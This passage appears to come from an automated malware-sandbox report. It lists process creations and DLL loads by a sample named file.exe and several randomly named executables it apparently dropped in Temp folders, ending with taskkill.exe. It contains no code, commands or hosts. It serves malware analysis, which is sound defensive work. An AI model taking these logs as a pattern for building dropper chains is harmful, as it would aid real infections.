Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2060 -prefMapHandle 2044 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {866f494e-4395-4791-8c6f-41680297a670} 7096 "\\.\pipe\gecko-crash-server-pipe.7096" 254d1e6f110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
